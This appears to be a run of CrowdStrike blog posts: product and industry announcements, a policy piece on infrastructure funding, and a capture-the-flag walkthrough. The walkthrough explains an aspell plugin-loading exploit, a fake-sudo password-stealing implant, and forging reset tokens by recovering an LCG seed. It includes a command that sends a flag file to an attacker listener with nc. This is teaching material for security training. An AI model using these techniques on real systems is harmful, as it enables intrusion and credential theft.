When it comes to maintaining your vulnerability management program, security hygiene and attack surface visibility can offer valuable data for informing how you prioritize and patch vulnerabilities within your environment. Adversaries are persistent and consistent, with the time and motivation to look for access in any way possible. Remember, a small amount of access is still access. 

Patch Tuesday is and will always be important to consider in your patching strategy. If any part of your environment uses Microsoft products, or if other vendors conduct patching cycles, it’s important to review the patches released every month and take time to apply fixes or updates to products wherever applicable.

Learn More

This video on Falcon Spotlight™ vulnerability management shows how you can quickly monitor and prioritize vulnerabilities within the systems and applications in your organization. 

About CVSS Scores

The Common Vulnerability Scoring System (CVSS) is a free and open industry standard that CrowdStrike and many other cybersecurity organizations use to assess and communicate software vulnerabilities’ severity and characteristics. The CVSS Base Score ranges from 0.0 to 10.0, and the National Vulnerability Database (NVD) adds a severity rating for CVSS scores. Learn more about vulnerability scoring in this article

Additional Resources

  • Find out more about today’s adversaries and how to combat them at Fal.Con 2022, the cybersecurity industry’s most anticipated annual event. Register now and meet us in Las Vegas, Sept. 19-21! 
  • See how Falcon Spotlight can help you discover and manage vulnerabilities in your environments. 
  • Read how CrowdStrike Asset Graph works in conjunction with Falcon Discover to offer you advanced insights on how suspicious activity is related to other assets within your environment. 
  • Learn how Falcon Identity Protection products can stop workforce identity threats faster. 
  • Download the CrowdStrike 2022 Global Threat Report to learn who and what is affecting your environment.
  • Make prioritization painless and efficient. Watch how Falcon Spotlight enables IT staff to improve visibility with custom filters and team dashboards
  • Test CrowdStrike next-gen AV for yourself with a free trial of Falcon Prevent™.

CrowdStrike and Industry Partners Release Open Cybersecurity Schema Framework

10 August 2022 at 16:28

CrowdStrike is excited to announce the release of the Open Cybersecurity Schema Framework (OCSF) project, a collaborative open-source effort among cybersecurity and technology leaders to break down silos that impede cybersecurity teams’ abilities to quickly and effectively detect, investigate and stop breaches.

Detecting and stopping advanced cyberattacks demands coordination across multiple security tools and domains. Security teams too often exhaust time and resources normalizing data from disparate tools to perform the analysis and investigation needed to contain attacks. The OCSF project was developed to address this problem by making it simpler and less burdensome for organizations to use and exchange security data in the global fight against cybercrime.

The OCSF is an open-source standard designed for both data producers and consumers. It delivers a common and extensible, vendor-agnostic taxonomy to help security teams attain simpler and faster data ingestion and analysis without time-consuming data normalization. The goal for this initiative is to provide an open standard that can be adopted in any environment, application or solution provider while aligning with existing security standards and processes. In doing so, it can remove a long-standing obstacle that security teams face around the world. 

Similar to the Structured Threat Information eXpression (STIX) and Trusted Automated eXchange of Intelligence Information (TAXII) for threat intelligence, and the MITRE ATT&CK framework for tactic classification, OCSF simplifies threat detection and investigation for security teams. 

Innovating for the Future of Cybersecurity 

The OCSF project will benefit organizations in several ways; for example, in security analytics and extended detection and response (XDR) technologies. This coalition of industry partners supports unified data ingestion, enhanced detection and investigation across different domains.

Organizations don’t need more alerts — they need relevant insights across their security stack to detect and stop attacks. CrowdStrike already provides our customers with these insights through the Falcon platform, including Falcon XDR, which ingests data from across a broad range of third-party sources and correlates it with our industry-leading threat intelligence in the CrowdStrike Security Cloud. Falcon XDR applies CrowdStrike’s world-class machine learning, artificial intelligence (AI) and indicators of attack (IOAs) to extend endpoint detection and response (EDR) outcomes and advanced threat detection across the security stack.

CrowdStrike has also made great strides in helping our customers stop breaches through the CrowdXDR Alliance, which has brought together industry partners to establish a common XDR language for data sharing between security tools and processes. We see the Open Cybersecurity Schema Framework as a natural extension of the work we’ve been doing with leaders across the cybersecurity industry, and look forward to continuing our joint work on behalf of our customers. 

Industry Collaboration Drives Stronger Defense

CrowdStrike has always valued cybersecurity as a team sport. As an initial OCSF member, we continue this commitment as we collaborate with industry leaders to unburden security teams of the onerous work required to collect and normalize data before they can focus on analyzing it. 

This framework was conceived and initiated by AWS and Splunk, and derived from the Integrated Cyber Defense (ICD) schema work done at Symantec, a division of Broadcom, to unify all event formats. Along with CrowdStrike, the OCSF project now includes contributions and participation from 15 additional leading security organizations including Cloudflare, DTEX, IBM Security, IronNet, Okta, Rapid7, Salesforce, Securonix, Sumo Logic and Zscaler. Starting today, all members of the security community are welcome to use and contribute to the OCSF initiative.

This level of open-source collaboration is imperative as the cybersecurity market grows more crowded with vendors whose customers want to transfer data between tools and improve their efficacy. Organizations are actively consolidating vendors and integrating technologies, and survey data reveals this poses a challenge to security teams: cybersecurity professionals identified “numerous problems” in managing an assortment of security products from different vendors, ESG research shows

More than four out of five security professionals agree open source standards are a key requirement for future security technology interoperability, ESG’s data reveals. More than 75% of the 280 people surveyed would like to see greater industry support for open standards. Today’s release of the OCSF brings the security industry one step closer to achieving this goal. 

In keeping with the best practices of open-source efforts, the OCSF project is guided by a steering committee and managed as an open source software project under the Apache 2 license. It is not owned by any single organization; rather it is jointly managed by a team of maintainers in collaboration with project contributors. 

This effort would not have been possible without the many industry partners who came together to address a problem affecting organizations worldwide, and we are excited to be part of the OCSF initiative. Now that the news is out, we welcome more security teams and vendors to join and participate in the project. For more information on how to become part of the OCSF project, please visit

Visit us at Black Hat 2022 in Last Vegas, Booth #1520 to learn more and have conversations with our experts on the show floor as they offer insights into protecting and enabling the people, processes and technologies that drive modern enterprise.

Additional Resources

  • Read the press release about OCSF
  • Find out more about how CrowdStrike supports U.S. federal initiatives at Fal.Con 2022, the cybersecurity industry’s most anticipated annual event. Register now and meet us in Las Vegas, Sept. 19-21!  
  • View the Falcon XDR demo and learn more about Falcon XDR.
  • Learn how the powerful CrowdStrike Falcon platform provides comprehensive protection across your organization, workers and data, wherever they are located.
  • Get a free 15-day trial to check out CrowdStrike Falcon’s superior prevention from cyberattacks, malicious activity detection and immediate response capabilities for your business.

Introducing AI-Powered Indicators of Attack: Predict and Stop Threats Faster Than Ever

10 August 2022 at 07:13
  • AI-powered indicators of attack (IOAs) are the latest evolution of CrowdStrike’s industry-first IOAs, expanding protection with the combined power of cloud-native machine learning and human expertise
  • AI-powered IOAs use the speed, scale and accuracy of the cloud to rapidly detect emerging classes of threats and predict adversarial patterns, regardless of tools or malware used
  • AI-powered IOAs are now available for CrowdStrike customers, requiring no configuration and at no additional cost

CrowdStrike today unveiled the next evolution of CrowdStrike’s industry-first IOAs: artificial intelligence (AI)-powered IOAs. Available to customers immediately, AI-powered IOAs are created by cloud-native machine learning (ML) models trained on the rich telemetry of the CrowdStrike Security Cloud the engine powering the largest market share of deployed sensors in the enterprise security landscape and expertise from our elite threat hunting teams to predict and proactively protect against emerging classes of threats. This milestone extends our approach of unifying AI and human expertise (as we have done with CrowdStrike Falcon OverWatch™) to deliver unparalleled protection. 

AI-generated IOAs fortify existing defenses (see Figure 1) by using cloud-based ML and real-time threat intelligence to analyze events at runtime and dynamically issue IOAs to the sensor. The sensor then correlates the AI-generated IOAs (behavioral event data) with local events and file data to assess maliciousness. AI-powered IOAs operate asynchronously alongside existing layers of sensor defense, including sensor-based ML and existing IOAs.

Figure 1. AI-powered IOAs issued by cloud-native ML models trained on the rich telemetry of the CrowdStrike Security Cloud

Key Benefits of AI-Powered IOAs

  • Detect emerging classes of threats faster than ever: Stay one step ahead of adversaries by predicting shifting tradecraft and enabling proactive local defense that works alongside existing layers of defense. 
  • Drive automated prevention with high-fidelity detections: Cloud-native AI models share real-time IOAs with the CrowdStrike Falcon® sensor to shut down attacks, irrespective of the specific malware or tools used. 
  • Reduce false positives and improve productivity: Trained on expert acumen and activated at cloud-scale, AI-powered IOAs synthesize insights from CrowdStrike’s world-renowned threat hunting team to minimize the number of false positives security teams have to deal with. This helps maximize analyst productivity and delivers automated threat hunting expertise at scale. 

Foundation: What Are Indicators of Attack? 

An industry-first pioneered by CrowdStrike, indicators of attack (IOAs) are sequences of observed events that indicate an active or in-progress attempt to breach a system (such as code execution, persistence and lateral movement). Tracking events as a sequence allows analysts to identify how adversaries initially gain network access and then quickly infer their motivation or objectives. By tracking key execution points across an attack surface, IOAs enable analysts to paint a full picture of an attack, regardless of malware or tools used. Beyond alerting to active attacks, IOAs apply advanced behavioral analysis to model and predict adversary patterns, delivering enhanced prevention against future attacks. 

Focusing on IOAs gives customers multiple advantages over solely relying on indicators of compromise (IOCs). First, IOAs enable customers to detect attacks before or as they emerge, rather than after a system has been compromised — thus enabling a proactive and preventative defense strategy. Relying solely on IOCs puts an organization a step behind adversaries, as they alert analysts to the presence of adversaries after systems have been compromised (a reactive approach).

Figure 2. Indicators of compromise vs. CrowdStrike indicators of attack

Second, by focusing on adversarial motivations rather than specific malware or tools used, IOAs enable customers to adapt to new classes of attacks and shifting adversarial tradecraft, such as malware-free or fileless attacks, which accounted for 62% of attacks in the last year, according to the CrowdStrike 2022 Global Threat Report

Finally, because IOAs are generic in nature, they can be evaluated in parallel (enabling both computational efficiency and scalability) and don’t need to be updated as frequently as signature-based approaches (as is the case with IOCs). 

Expanding Capabilities of IOAs with AI  

Until now, the process of generating IOAs has primarily relied on the applied expertise of world-renowned threat hunters, resulting in a highly sophisticated and highly accurate indicator. To enable customers to stay ahead of tomorrow’s threats, the process of detecting and classifying active attacks needs to exceed the speed of our adversaries, without compromising on the incredible fidelity of expert-generated IOAs. To accomplish this, we’ve married human expertise with ML to expand our capacity to issue IOAs and enhance the quality of expert-generated IOAs, making detections even more comprehensive and proactive, while retaining high levels of fidelity. 

We’ve rigorously trained models to detect suspicious activity on enormous, expertly curated data sets of malicious threats and benign activities. Leveraging the power of the CrowdStrike Security Cloud to train these models on our cloud-native CrowdStrike Falcon platform, our machine learning models can synthesize enormous volumes of threat intelligence with unparalleled speed, scale and accuracy. By bringing the power of cloud-based ML to the process of developing IOAs, customers continue to benefit from the proactive, high-fidelity signals that IOAs provide, now with the speed and scale of the cloud.

Examples of AI-Powered IOAs 

Since going into production, our cloud ML models have conclusively identified over 20 new indicator patterns, which have been validated by experts and enforced on the Falcon platform for automated detection and prevention. Below we’ll examine two examples of adversary tactics we’ve detected, which resulted in new IOAs for post-exploitation payloads and PowerShell attacks. Over the next few months, we’ll continue to share examples of new classes of IOAs and how they help customers stay one step ahead of adversaries. 

Post-Exploitation Payload Detections 

Let’s start with the example of post-exploitation payloads. A post-exploitation payload is the code that an adversary transfers to a host once they have achieved initial access. These payloads vary and could be anything from a command-and-control beacon to a sophisticated ransomware threat. The AI-powered IOAs identify these by combining the output of our static Windows sensor AI model with how a file is run and with knowledge only available through the CrowdStrike Security Cloud. For example, we can include information on the process ancestry and the modalities of how the process was launched. With this additional data, we can achieve incredibly accurate detections and rich indicators, boosting accuracy beyond what is possible with either a static or behavioral approach alone. Known adversary groups we’ve tracked associated with these attack techniques include CARBON SPIDER, WIZARD SPIDER, PRIMITIVE BEAR and VENOMOUS BEAR. 

PowerShell IOAs Through the Eyes of AI

PowerShell is frequently leveraged by adversaries to deliver shellcode or tools like Mimikatz or execute malicious behaviors where an IOC will never be present on disk. These types of attacks are harder to identify, and traditional signature-based methods are easily bypassed with changes to the script or command line. 

Using the power of deep learning models to automatically extract the most relevant code sections from PowerShell scripts, we can identify and protect against PowerShell-driven fileless threats. This AI has been taught to “read” PowerShell scripts and understand the difference between legitimate and malicious code flows. It can understand encoded and obfuscated scripts faster and in ways human researchers cannot, enabling it to deliver proactive high-fidelity detection that is more difficult for adversaries to bypass. Known adversary groups that have used PowerShell to orchestrate attacks include CYBER SPIDER, OCEAN BUFFALO, HELIX KITTEN and STONE PANDA. 


Machine learning remains a critical tool for detecting emerging patterns in data and conducting in-depth behavioral analysis to understand adversary intents and objectives. As a leader in cloud-delivered protection of endpoints, cloud workloads, identity and data, CrowdStrike is excited to keep harnessing the combined power of AI and the cloud to enhance defense, upend adversary tradecraft and help our customers stay one step ahead of adversaries to stop breaches.

Additional Resources 

Adversary Quest 2022 Walkthrough, Part 2: Four TABLOID JACKAL Challenges

In July 2022, the CrowdStrike Intelligence Advanced Research Team hosted the second edition of our Adversary Quest. As in the previous year, this “capture the flag” event featured 12 information security challenges in three different tracks: eCrime, Hacktivism and Targeted Intrusion. In each track, four consecutive challenges awaited the players, requiring different skills, including reverse engineering, vulnerability analysis and exploitation, and cryptanalysis.

Part 1 of this blog series described our intended approach to solving the challenges of the eCrime track. In this Part 2 blog post, we describe our intended approach to solving the challenges of the Hacktivism track. In this track the players were asked to analyze activities by TABLOID JACKAL. The objective of this actor was described as follows:

The activities of SPACE JACKAL last year have not gone unnoticed, and one of their nemesis has decided to respond. Now, researchers are tracking a new activity cluster, which is very likely to belong to a group called TABLOID JACKAL. This actor is known to spread fake news with the intention of convincing people to use TABs rather than spaces as indentation characters. We were approached by “Daily Code”, a newspaper agency that is known for reports on algorithms, software architecture and coding styles, to analyze recent activities of TABLOID JACKAL on their network.

Challenge #1: “display0”

We were approached by our customer “Daily Code” who detected suspicious activity on a VPN gateway. One of their sysadmins did some basic inspection of the system and was able to discover an unknown ELF binary.

For further analysis, the sysadmin sent us the ELF alongside an asciinema recording of their terminal session.

For this challenge, we were given two different files:

  • display0: An x64 ELF binary
  • challenge.cast: An asciicast recording file

As outlined in the description, the asciicast recording was created by a sysadmin, who discovered a suspicious ELF binary on a system. It contains a log of the admin’s shell interactions during the investigation.

The recording can be replayed by using the asciinema shell client as follows:

$ asciinema play challenge.cast

The following listing shows an excerpt of the recording:

(Click to enlarge)

As we can see, the admin first executed a number of commands to gather general information about the system, such as the running processes, configured network interfaces and more. At the end of the session, a hidden file named .display0 is discovered in the directory /tmp/.Xorg. The sha256 command seen in the end of the session allows us to confirm that the binary we were given alongside the recording is identical.

Using strace, we can get a first overview of what the binary actually does when executed:

As can be seen in the output, one of the first actions is to mmap the public part of the ssh host keys as readable. Afterwards, the binary uses an AF_NETLINK socket to retrieve information about the system’s network interfaces (output shortened):

(Click to enlarge)

Next, the content of the files

  • /proc/cpuinfo
  • /proc/meminfo
  • /etc/fstab

Are read (or mmap’ed) and finally the uname syscall is executed:

At the end a memory file descriptor is created via memfd_create and 510168 bytes are written to it. That file descriptor is then passed to execve by using the corresponding path in the /proc file system:

(Click to enlarge)

The combination of memfd_create and execve is a fairly well-known technique in Linux to execute an in-memory ELF. However, executing the binary locally does not appear to succeed on our analysis machine. The call to execve returns with an Exec format error, indicating that an invalid executable was given.

The fact that a number of system properties were gathered before the execve call leads to the assumption that there is some kind of dependency between these properties and the resulting binary passed to execve.

Using findcrypt-yara (or similar tools), we can quickly assess that the binary contains constants that are used for SHA256 hashing and AES encryption:

This further strengthens the earlier assumption that the system properties could be used in some form to decode/decrypt an embedded binary: A SHA256 digest might be used to derive a key for an AES-based decryption routine. For further analysis, IDA was used to disassemble and decompile the binary.

After some reversing, it becomes clear that the gathered information is used to create a SHA256 digest, of which the first 16 bytes are used as a key for AES128 in counter mode. The following sequence gives a rough outline of the information used to derive the key:

  • SSH host keys (public, addr 0x173)
  • Network interfaces (IPv4 / IPv6 / MAC, addr: 0x18db)
  • /proc/cpuinfo (model name and flags, addr: 0x191)
  • /proc/meminfo (MemTotal, addr: 0x193f)
  • /etc/fstab (addr: 0x1958)
  • hostname (addr: 0x1590)

The SHA256 update function is located at 0x1ee0 while the AES128-CTR decryption routine can be found at 0x26d1.

After renaming identifiers and adding type information, we get the following main() function:

The following screenshot shows the function dynamic_key_derive(), which contains the main logic of the key derivation:

As the environment of the local test system is different from the one where the binary has been discovered, a different key is derived, leading to a wrongly decrypted embedded binary. The following Python script can be used to derive the correct key based on the values observed on the remote system:

(Click to enlarge)

Afterwards, the inner binary can be extracted and decrypted as follows:

Without further ado, we are able to extract the flag contained in the inner binary as follows:

Challenge #2: “Spellcheck”

Initial response handling of the “Daily Code” incident has turned the spotlight on a web service that was apparently exploited by TABLOID JACKAL to gain initial access to a certain laptop. This web service was believed to run locally on the laptop of the managing editor of “Daily Code”, but a quick scan of the network revealed that it was exposed to the whole internal network. Please analyze the web service – reachable at for the purpose of analysis – and help us to identify the vulnerability.

A tar file was given for the second challenge of the TABLOID JACKAL track, containing a Python Flask web API that implements a wrapper around the spell checking tool aspell:

(Click to enlarge)

The directory named dicts contains some English dictionaries. The following listing shows the Python code of the API:

The code exposes the following HTTP routes that implement various functions:

  • /spellcheck (conducts spell checking with aspell)
  • /status (returns working directory and OS/version information)
  • /dicts (returns available dictionaries)
  • /dicts/update (allows to upload dictionaries, performs authentication check)

When looking closer at the /dicts/update route, it becomes clear that the password check is only conducted when sending an HTTP POST request. However, the route also supports HTTP GET, allowing us to skip authentication. Afterwards, the function checks whether a dict entry is contained in the request.files mapping, which Flask uses to store uploaded files. If that is the case, and a filename has been provided, the new dictionary is stored inside the application’s dictionary folder. This should allow us to upload arbitrary files to the server. However, a directory traversal attack is not possible due to the use of Flask’s secure_filename() function.

Looking at the /spellcheck route, we can see that it passes a language specified as the HTTP parameter lang to aspell as a command line argument. Additionally, the data specified as the HTTP parameter text is sent to aspell’s stdin.

As a next step, aspell pipe was invoked locally in order to explore its functionality. In the most basic case, we can provide a word to its standard input, and aspell replies with a list of suggestions, as shown for helo in the following listing:

(Click to enlarge)

However, browsing the official documentation shows that aspell behaves differently in case values are provided that start with special characters.

The following list taken from the documentation gives an overview:

*word	Add a word to the personal dictionary
&word	Insert the all-lowercase version of the word in the personal dictionary
@word	Accept the word, but leave it out of the dictionary
#	Save the current personal dictionary
~	Ignored for Ispell compatibility
+	Enter TeX mode.
+mode	Enter the mode specified by mode.
-	Enter the default mode.
!	Enter terse mode
%	Exit terse mode
^	Spell-check the rest of the line

Further, the documentation mentions that the format $$command [data] allows to read and modify configuration options (among other things).

Invoking aspell dump config gives a first overview of these options (shortened):

At runtime, these values can be printed via $$cr <name>:

Similarly, values can be written by using $$cs <name>,<value>:

The ability to set configuration options opens up a large potential attack surface. For example aspell makes use of spell checking plugins (for example for TeX), which can be implemented in shared objects and might enable a route for code execution.

As seen in the earlier command overview list, the character + instructs aspell to enter TeX mode. To quickly get an overview of what happens when doing so, aspell was invoked with strace:

(Click to enlarge)

As shown in the output, entering TeX mode made aspell load the shared object from the directory /usr/lib/aspell/x86_64-linux-gnu.

Now with the ability to upload arbitrary files to the dictionary folder directly and being able to manipulate configuration values at runtime, we might be able to force aspell into loading a malicious shared object.

As noted in the documentation, aspell makes use of the configuration option filter-path to look for its plugins. To quickly validate this assumption, we can alter its value and try to enter TeX mode afterwards:

As we can see, aspell actually crashed with an unhandled error, indicating that changing filter-path did indeed have an effect on its plugin loading. The obvious reasoning for that might be that there are simply no matching files stored in /tmp. To test that assumption, the system-provided TeX filter files were copied to /tmp:

Afterwards, aspell was started with strace to confirm that the copied files are loaded from that directory:

As shown in the output, the shared object is indeed loaded by aspell. Putting everything together, we should therefore be able to exploit the remote service in the same way:

  • Upload malicious (and auxiliary files) to the dict directory
  • Derive absolute path of remote dict directory via /status
  • Provide input to aspell that
    • Changes filter-path to the dictionary directory
    • Enters TeX mode, triggering loading of the malicious shared object

The following files implement the outlined exploit. It can be used as follows to gain code execution and retrieve the flag from the remote host:

$ ./ 'cat /flag.txt | nc <lhost> 2323'



Challenge #3: “Password”

As your investigation revealed TABLOID JACKAL gained access to the laptop of the managing editor by exploiting their spellcheck service, but that would yield only user-privileged access. This level of privilege does not carry much risk. We did get a copy of the managing editor’s home directory for you though to find out whether the threat was fully removed.

According to the challenge description we have received a folder structure where we can find a few files:

Reverse-Engineering the Implant

Loading the probably malicious binary named boltctl into Ghidra shows that the main() function (identified via the entry) is rather short and also executes a new program via execvp() via a path (first argument) that is initialized randomly also in main(). Right before this execvp() call, there is another function invoked that becomes of interest.

(Click to enlarge)

Using Ghidra, the decompilation of the function starting at position 0x00101a31 reveals a pattern that raises the expectation of some strings being encrypted: functions known for receiving a string as first argument (e.g., getenv() and puts()) receive not strings, but the return value of the function FUN_00101b61().

(Click to enlarge)

This function, named FUN_00101b61(), is invoked with two arguments — one data element and a second that is probably the length of the first. Our initial assumption is that this is a string-decryption routine, which can be confirmed by reverse engineering it:

(Click to enlarge)

String Decryption

There are various ways to obtain the clear text strings used by the program: probably the easiest way is to reimplement the function as a Python script like the following that decrypts the given strings and makes them readable:

(Click to enlarge)

Fake Sudo Behavior

Decrypting the strings reveals that the binary prints messages best known from the program sudo. For example, for a certain yet unknown condition, the message “Sorry, try again.” is printed. Also the message “[sudo] password for %s: is printed as well. The routine that prints both strings and executes some other code is started if and only if the function named FUN_00101329() returns 1.

(Click to enlarge)

Reversing this function FUN_00101329() shows that it returns 1 if four specific environment variables are set, which is the case when sudo was used to invoke the program, as can be seen in the commented listing below:

(Click to enlarge)

Overall, this makes it evident that the binary checks whether it was invoked by sudo (for example with the command $ sudo boltctl) and if so, it fakes sudo behavior, probably trying to trick the user into typing the password again into a non-sudo prompt.

Exfiltrating the User’s Password

After presenting a fake prompt, the password is handled via another function call in FUN_00101a31(). The password is passed to the function starting at position 0x0010182b. Decompiling this function using Ghidra reveals another encryption routine and a call to yet another function FUN_00101714() with an argument that is probably the generated ciphertext.

(Click to enlarge)

This decompilation shows that each character is encrypted using a round key (local_43c) and the XOR-operation. This round key is computed inside the loop, based on three parameters that are also updated for each iteration. The decompilation of this round key function FUN_00101651() is as follows:

Both decompilations are required and sufficient to write a decryption routine, later used as

(Click to enlarge)

Reverse-Engineering the Exfiltration Channel

The following decompilation of the function handling the encrypted password, called by the function FUN_0010182b() shown above, is generated using Ghidra:

(Click to enlarge)

This shows that the encrypted password is sent via a network socket directly using the sendto() function without any modification. The port used is 1901 and the receiver address is 0xffffffff — which is the broadcast address, also known as In addition, SO_BROADCAST is configured using setsockopt() and the socket is a UDP socket created with socket(). Therefore it is reasonable to presume that a local insider is listening on this port, waiting for an incoming encrypted password.

Extracting the Password from EDR Logs

Luckily we were provided with a network capture file, recorded by a “sensor” running on the laptop, that contains the captured password. The captured packet can be extracted using tcpdump and then decrypted using the Python script shown above:

Challenge #4: “tokens”

After getting root, the TABLOID JACKAL explored all the accounts that exist on the laptop. They thereby found out that the editor is using a special web application (reachable at for reviewing articles in the publishing pipeline. Moreover, they observed that the editor is using the admin account for this purpose. We believe that TABLOID JACKAL  found a vulnerability in it that can be exploited to get access to the editor’s reviewer account.

A quick overview of the web interface shows that the application exposes two functionalities: Editorial Access and Mailbox Access. Both require user authentication. Moreover, it is possible to register new users and reset the password for editorial access. However, the Editorial page is empty if we use a new user to access it.

After registering a new user and testing the password reset functionality, a reset token is sent to the user’s mailbox.

Apparently, the reset token is a longer random number of at least 48 bits in length as the largest reset token observed (239660317423097) is a 48 bit number. A brute-force search of the token is therefore not viable. Additionally, experimenting with the application shows that the token is deleted after a wrong attempt as the last issued token is not working if a wrong token was given first.

Further investigation of the application shows a hint in the robots.txt.

The path /.git is excluded from indexing by search engines. A source code file is exposed in the path.

In particular, the file contains a definition for the class Random that implements a custom random number generator.

After doing some research of types of random number generators, we learn that the class implements a Linear Congruential Generator (LCG). Basically, new random numbers are generated by calculating a simple linear equation from several hardcoded values and a seed that is restricted to 48 bits in length (due to the AND operation using self.mask in line 12). The return value of the internal function _next() is restricted to 26 bits in line 15. The _next() function is called three times by next() which constructs the resulting random number from these three 26 bit numbers by bit shifting the return values of the latter two calls and adding them. The method next_limit() can be used to create an upper limit for the generated random number by applying a modulo operation.

The upper limit 281474976710656 in the example calls in lines 25 to 31 is 248 and therefore limits return values to 48 bits. This and that the output are decimal numbers like the reset tokens suggest that this is the random number generator used by the web application to create password reset tokens.

LCGs are not cryptographically secure, though. The security of any random number generator depends on the property that attackers cannot guess the seed given a certain number of generated numbers. While some bits of the seed are dropped from the result in this LCG, it is indeed possible to calculate the seed given a number of outputs as they are just the result of basic linear equations that can be completely solved given enough information.

Hence, it is possible to calculate future outputs, i.e., password reset tokens, of the random number generator after the current seed is calculated. 


To calculate the seed from given outputs, we first have to investigate what information about the seed remains in a generated number. 

Like stated above, the method _next() is called three times by next(). From these calls, the lowest 21 bits of the new seed after the first call remain in the final output. That is the case because the return values of the second and third call are shifted by 21 bits to 42 bits respectively and added to the return value of the first call. This can be seen in line 18 of the listing above.

The easiest solution therefore is to generate three random numbers using the password reset functionality, take the lowest 21 bits of the first one and search through the possible values for the remaining 27 bits via two loops. In particular, the 21 bits have to be shifted left by 22 bits as _next() shifts the seed right by 22 bits before returning the result. Therefore, the lower 22 bits of the seed are searched as well as the upper 5 bits as the seed is 48 bits long in total.

(Click to enlarge)

The seed of the class Random is set to every possible seed while fixing these lower 21 bits from the first output in line 10. After simulating the two other calls to _next() twice in the following lines, the internal seed of Random should be exactly the same as after the generation of the first random output if the correct seed was found using this search algorithm. This is verified by generating two random numbers. If these are the same as the ones generated by the password reset, we have found the correct seed and can generate the next reset tokens. This is checked in lines 14 and 19.

Now, we have to request a password reset for the admin account and can use the first reset token the search algorithm returned in order to set the password for admin to an arbitrary value. Using this password, it is possible to access the editorial page with the admin account.

Final Remarks

This concludes the CrowdStrike Intelligence Adversary Quest 2022. The TABLOID JACKAL track was about a threat actor attacking news paper agencies to spread fake news about the superiority of TAB characters for source code indentation. In the first challenge, players were asked to reverse engineer a sample that was found on a host inside the internal network of “Daily Code,” a fictional newspaper agency. This binary was used as a beachhead for attacking a service running on the laptop of the managing editor, and the second challenge was about reproducing this attack. In the third challenge players needed to analyze another binary, dropped on the laptop after exploitation, that was used to steal and exfiltrate  the password of the user on the laptop. After getting access to the laptop and gaining root access there, TABLOID JACKAL also had access to a Content Management System that is used by the Daily Code to edit and publish articles. In the final challenge, players had to reproduce a vulnerability in this Content Management System that was exploited by TABLOID JACKAL to arbitrarily edit and publish articles.

We hope you enjoyed the Adversary Quest and are now well prepared for the next one. Feel free to drop us an email at [email protected] — especially if you published a writeup, want to provide some feedback or have any questions. Also note that CrowdStrike is constantly hiring talented cybersecurity professionals!

Additional Resources

Securing Our Nation: How the Infrastructure Investment and Jobs Act Delivers on Cyber Resiliency

1 August 2022 at 15:21

Attacks and intrusions on our nation’s vital infrastructure — our electrical grid, water systems, ports and oil supply — are on the rise. For example, as reported by the Pew Charitable Trust in March 2021, hackers changed the chemical mixture of the water supply in Oldsmar, Fla., increasing by 100 times the level of sodium hydroxide (lye) in the water supply. In June 2021, Reuters published an article about how poor cyber hygiene, ineffective cybersecurity practices and the danger of stolen credentials impacted millions of people when a cyberattack interrupted the flow of fuel on the East Coast of the United States. As we hyperconnect our cities and communities, security must be at the forefront of every plan and design.

Recognizing the required investment in the United States, Congress passed the Infrastructure Investment and Jobs Act (IIJA) in November 2021. The IIJA authorizes roughly $1 trillion USD in funding for a number of initiatives that include improving our highways, repairing bridges, creating smart cities, studying the effects of climate change, developing new clean energy technology and both improving and hardening our electrical and water utilities.

For anyone who’s not accustomed to reading legislation, 1,000 pages of complex legislation can be intimidating. States and large cities, as well as larger businesses supporting critical infrastructure, may have entire divisions or established working groups dedicated to understanding and pursuing this and other grant programs. I can only imagine there are numerous small and medium-sized companies, as well as local and tribal governments who, like me, have little experience in taking advantage of the incredible funding opportunities in this and other grants across the federal government.

Here, I will identify some parts of the IIJA your organization may be able to take advantage of.  Whether you have people who work with federal grant funding, or not, awareness of this capability to make up for budget shortfalls while building our critical infrastructure is important.  We created an easy-to-read document that outlines cybersecurity-specific sections of the Act and the CrowdStrike solution in our “How CrowdStrike Supports the IIJA” white paper.

Key IIJA Cybersecurity Funding Provisions

Key provisions of the IIJA provide funds to federal agencies and state, local, tribal and territorial governments, as well as public and private utility and transportation entities, to implement cybersecurity solutions that promote stronger cybersecurity resilience and the ability to assess, detect, identify, mitigate and respond to cyber threats today and into the future.

In particular, the IIJA calls out the U.S. Department of Transportation (DOT), Department of Energy (DOE), Department of Homeland Security (DHS) and Environmental Protection Agency (EPA) for specified cybersecurity funding. Within these provisions, the federal government will provide $3.5 billion USD for key projects that include requirements to improve cybersecurity posture and resiliency, promote intelligence sharing and respond to attacks. 

DHS: Layering Our Defenses and Coordinating Our Response

The Cyber Response and Recovery Act and the new State and Local Cybersecurity Grant Program provide over $1.1 billion USD to state, local, tribal and territorial governments including public-private partnerships. These funds are available for seven and five years, respectively, and seek to address cyber risks and threats by supporting threat hunting, network protection and the replacement and modernization of tools and systems. The Cybersecurity Infrastructure Security Agency (CISA), a component agency of DHS, is tasked with defending the infrastructure of the internet and improving its resilience and security for the nation. Each organization must submit its cybersecurity plan when applying for grant funding and, in the case of the State and Local Cybersecurity Grant Program, successful applicants will receive up to 90% of required funding for the first year. 

DOT: Improving and Securing Our Roads, Bridges and Ports 

As the U.S. transportation system’s networks evolve into a hyperconnected mesh of data and information to make them more efficient, their attack surface exponentially increases. The IIJA directs two specific programs under the DOT to strengthen the cybersecurity posture of the transportation system. The Strengthening Mobility and Revolutionizing Transportation (SMART) grant provides $500 million USD over five years to state, local and tribal governments, and public toll authority and metropolitan planning agencies, to ensure the security of smart cities by implementing cybersecurity best practices. The second program, Advanced Research Projects Agency-Infrastructure (ARPA-I), provides unspecified funding for the advancement of cybersecurity technology solutions that promote the resiliency of roads, highways, bridges, airports, seaports and railways against cyberattacks.

DOE: Keeping the Lights On

The resiliency of the U.S. electrical and power system is critical to national security. Recent years have shown how delicate the grid is, and our adversaries have demonstrated they are adept at attacking power grids. Seven programs provide over $1 billion USD in investment funding to secure research, modernization and resiliency in the energy sector and electrical grid. These projects include maturity models and threat assessments, protection, detection, response and recovery from cyber threats to pilot projects to gain experience with new cyber technology. Each of these provides state, local, tribal and territorial governments, as well as public and private electrical utility companies, with the ability to harden and improve their network defenses, expand cyber defense capabilities and capacity, and gain a clear understanding of their environment and the efficacy of their cybersecurity plans. 

EPA: Ensuring Our Drinking Water Is Safe and Sewers Keep Flowing 

With two programs valued at $375 million USD over five years, the EPA’s Midsize and Large Drinking Water System Infrastructure Resilience and Sustainability Program, and the Clean Water Infrastructure Resiliency and Sustainability Program, seek to improve the resiliency of the nation’s water system. This section of the IIJA directs public and private water providers and state and local governments to develop and implement projects that reduce the cybersecurity vulnerabilities of water systems in communities across the United States. 

The CrowdStrike Mission: We Stop Breaches

